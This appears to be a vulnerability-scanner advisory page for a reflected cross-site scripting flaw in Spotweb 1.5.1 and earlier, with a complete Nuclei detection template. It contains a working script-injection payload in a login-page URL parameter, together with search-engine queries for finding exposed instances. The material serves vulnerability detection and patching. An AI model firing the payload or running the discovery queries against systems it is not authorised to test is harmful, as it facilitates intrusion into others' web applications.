Spotweb <= 1.5.1 - Cross Site Scripting (Reflected)

mediumseverity

6.1CVSS score

2.6%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

There is a Cross Site Scripting (XSS) vulnerability in SpotPage_login.php of Spotweb 1.5.1 and below, which allows remote attackers to inject arbitrary web script or HTML via the data[performredirect] parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, data theft, or other attacks.

Fix

Fixed in version 1.5.2

How to confirm it

Send: GET {{BaseURL}}/?data[performredirect]=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&page=login
Positive when: contains "value=\"\"><script>alert(document.domain)</script>" and "name=\"data[performredirect]" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-43725 -u <target>

The full check

id: CVE-2021-43725

info:
  name: Spotweb <= 1.5.1 - Cross Site Scripting (Reflected)
  author: theamanrawat
  severity: medium
  description: |
    There is a Cross Site Scripting (XSS) vulnerability in SpotPage_login.php of Spotweb 1.5.1 and below, which allows remote attackers to inject arbitrary web script or HTML via the data[performredirect] parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, data theft, or other attacks.
  remediation: Fixed in version 1.5.2
  reference:
    - https://github.com/spotweb/spotweb/
    - https://github.com/spotweb/spotweb/issues/718
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43725
    - https://github.com/spotweb/spotweb/commit/2bfa001689aae96009688a193c64478647ba45a1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-43725
    cwe-id: CWE-79
    epss-score: 0.02573
    epss-percentile: 0.85307
    cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: spotweb_project
    product: spotweb
    shodan-query:
      - title:"SpotWeb - overview"
      - http.title:"spotweb - overview"
    fofa-query: title="spotweb - overview"
    google-query: intitle:"spotweb - overview"
  tags: cve,cve2021,xss,spotweb,unauth,spotweb_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?data[performredirect]=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&page=login"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value=""><script>alert(document.domain)</script>'
          - 'name="data[performredirect]'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from